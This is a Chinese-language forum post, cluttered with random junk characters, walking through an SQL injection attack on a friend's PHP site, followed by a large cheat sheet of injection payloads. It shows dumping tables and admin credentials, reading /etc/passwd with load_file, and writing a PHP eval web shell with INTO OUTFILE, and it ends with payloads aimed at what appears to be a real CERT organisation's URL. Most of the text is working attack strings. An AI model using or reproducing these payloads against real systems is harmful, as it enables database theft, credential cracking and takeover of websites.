我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
" e( R& P4 F3 H8 R7 ^让我看看,既然人家开口了,我也不好拒绝,那就看看吧?) Y! G" p V$ n9 k
我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。7 t6 {% }* q& Y) h! p3 w$ C- W
如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)# A; l# F) L' [9 M" H0 V- o
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)
& [# L2 s8 G# m/ q4 M5 y$ q这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:+ V k- l, V5 b4 z( t& r6 f
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
* z5 {! g$ ~7 ~2 U* X' c" w/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入6 b/ [$ i: u+ F" U0 e& \
6 B" h$ D; e8 v+ w3 n2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
; G: o5 m( C# C: g, z, P# l3 i3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意/ g' h+ z- w# I. M6 ^; |& C0 y7 b
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
2 @9 h3 f0 m0 E. {! `. J/ E5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。
% M8 }! _/ T; V$ h, K# R# A有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,9 ~/ a. |# p# @+ f* S9 b
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。5 o9 T) s8 P1 Y0 n$ `0 Q% a
我就用的是第二个思路, r1 s+ m, G2 k& q
提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1-- 5 }7 M8 w7 u( H% w" B2 Y0 a
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,
* [+ y7 E6 C5 ~: V s, D$ m提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--
4 V: w5 w/ L+ O' a3 f7 b9 ^' N% `注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。' B% |0 j4 z9 ~$ U' K
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????2 H$ S/ L; e Z, b& b6 _. l6 A
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....
7 v6 X6 D- [- ~* k1 H; o9 `提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --
# T, E2 e( a: Z" e! X然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
: K U" |! \1 f. Z调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
! Y x& n9 [$ x! s( E0 |1 M下面是一些很普遍注入方式资料:; L( M( m4 d" `, d! S
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''=' e( V3 F$ @) G2 h
拆半法
' T& v+ f+ ^' ^% ^: d, z######################################2 b) f! S/ Y' I; l+ b- L
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。0 x0 k2 y/ y' H/ @/ i% _
and exists (select * from admin)
1 N0 ~ c- J- H7 tand exists(select id from admin)" |, d1 q8 Y, `. Q6 @3 ?& h
and exists(select id from admin where id=1)
8 t0 K4 N! @: Pand exists(select id from admin where id>1)
8 S2 a' O, R! k4 q+ Q" N9 q然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 7 Q% l: R# k7 ^8 |
and exists (select username from admin); e. ^* o& |6 ?% W v) a7 l% O
and exists (select password from admin)
. Y$ g: C; A, R( hand exists (select id from admin where len(username)<10 and id=1)
) ]3 V! f" x' w1 |$ z! Qand exists (select id from admin where len(username)>5 and id=1)5 U. w) H$ ~- a% A4 n) s$ A: M' @
and exists (select id from admin where len(username)=6 and id=1)
' ^% ], l- Z- A4 I- w& [6 Jand exists (select id from admin where len(password)<10 and id=1)4 P- g" y. o& s* W% y
and exists (select id from admin where len(password)>5 and id=1)
/ L$ R/ f7 d9 `( \* A! z5 k( jand exists (select id from admin where len(password)=7 and id=1)4 y2 L- P! K" q) f( K+ k
and (select top 1 asc(mid(username,1,1)) from admin)=978 p0 |. s- i; X7 m# T8 }
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
5 [! A2 v, o) t猜第二位把username,1,1改成username,2,1就可以了。
- x$ \ B8 e) U- a8 q' O猜密码把username改成password就OK了
% j6 a6 N: B' s# m( _ b##################################################+ L O( k! o) O/ W
搜索型注入
0 c2 F: A8 i$ {# b##################################
8 Z' B& w, A9 G) i%' and 1=1 and '%'='
4 e- G+ ^, ~, ~3 O6 b%' and exists (select * from admin) and '%'='; k8 V. k7 o. D k5 F
%' and exists(select id from admin where id=1) and '%'='
9 q& I& j7 L! ~: ]( A5 P" M%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
# T& X- j% U9 f; L0 z4 Z3 Y% Y%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
. S i8 _2 W$ A4 W3 Z%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='% o& g: E+ C; ]. l, b
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
0 a9 B, Z* Z+ S3 j' ~, x7 q; Z0 V对于MSSQL数据库,后面可以吧 and '%'='换成--
3 X5 ~. c6 k) r a* v还有一点搜索型注入也可以使用union语句。2 V* t* U* v% s
########################################################2 c1 \" o" B! e" K, H. E( W# W6 S
联合查询。
/ m3 u& d" x+ p9 y' _. b#####################################
- @8 ?$ u, ^6 m. V) {) dorder by 10
8 \5 t/ P2 g4 [" i5 v3 d8 fand 1=2 union select 1,2,3,4,5,6,7,8,9,10
+ i" B t" m+ ?/ L, {, Dand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
) v) {5 ]$ n' \5 ~and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
% D+ c) U- l; @5 r9 C* g很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)! \; Y0 c7 u& M3 j
###################################4 S$ C0 c$ V, \
cookie注入
, \4 c- p" y; _$ K1 V' D( d" i###############################
( U7 S" o% ^) [% Y+ W7 l. Z' @http://www.******.com/shownews.asp?id=127
5 H: z2 D) s8 ]# e- G4 uhttp://www.******.com/shownews.asp' S, d0 Z; S- Z* v' P; S
alert(="id="+escape("127"));
& M; T+ J! \$ _1 Aalert(="id="+escape("127 and 1=1"));1 v. Y2 A5 O. v' h9 C7 v
alert(="id="+escape("127 order by 10"));
# X+ K8 S# t) }alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
" e3 b. a$ k9 c1 ~7 r4 ^* Calert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
6 y. k& M0 t, f( v n. ? V6 t+ P这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
# C& W, e9 j8 Q$ J% m###################################. f! V; n" a! I
偏移注入
+ \! y# n; H; A/ ?" J4 b2 h" b###########################################################5 ^* L& D6 {7 l* R
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
) l- C. z6 X) R% V2 ^3 qunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin' | g3 n' X8 Q$ n* u1 A2 v
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)- G8 }5 s" [- I+ _. g: A
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id). j1 G. c G- k- O8 j/ q+ b+ E
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
% q( l0 x7 c$ P2 P; bunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
2 x; E M$ q( sunion select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
& V( W1 H2 A' I, d7 b! Oa.id=d.id)
, j& ]% p8 o- ]6 G! H$ Z5 a. gand 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
! s9 t$ H9 F/ Wand 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
( m8 _6 ~! w' v ; p5 y( C; I* G8 S
============================================================================================================
* V: U4 R' Q2 y/ S- r# l0 @1.判断版本
0 Z/ v) s! s3 f) |, t' L1 l+ c& Yand ord(mid(version(),1,1))>512 r2 I" y) Z$ b; i) Y% a( H
返回正常,说明大于4.0版本,支持ounion查询* y, _0 |9 Q" `: a( n
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解7 q4 B/ K! i/ |- t8 _% ?6 R' k
and 2=4 union select 1,2,3,4,5,6,7,8,9--! F' g7 w) W9 h# l0 V
3.查看数据库版本及当前用户,
. K* j6 Z0 w# n5 A A! z* F+ [and 2=4 union select 1,user(),version(),4,5,6,7,8,9--6 _- ?$ O: n3 r
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假," N9 i- D+ @5 A. S/ T9 @8 b2 e: R9 o
4.判断有没有写权限& b w3 A$ ]$ `' V
and (select count(*) from MySQL.user)>0--
' x$ R7 _1 h; [4 ~5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1/ [9 _- H9 g) r) V u
用不了这个命令,就学习土耳其黑客手法,如下" X: v& g9 X6 i& j% T) g2 L
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
6 @. O9 Z$ W6 S0 r }$ ]6.爆表,爆库5 w) V1 j3 F8 c$ z$ z! Q9 G
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--; O/ Y3 u# N& o6 I
7.爆列名,爆表; S* ~! L/ S7 o( h/ _, J3 A
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--1 i+ P( T E9 j4 ^: q# ]
8.查询字段数,直接用limit N,1去查询,直接N到报错为止。) o' l8 n. t+ t1 s
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
' w2 g# U4 k3 i, g4 D9.爆字段内容8 }$ D" [6 }! O4 l3 D9 N/ R8 [7 r
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
8 ~7 N8 Q e2 nhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1-- |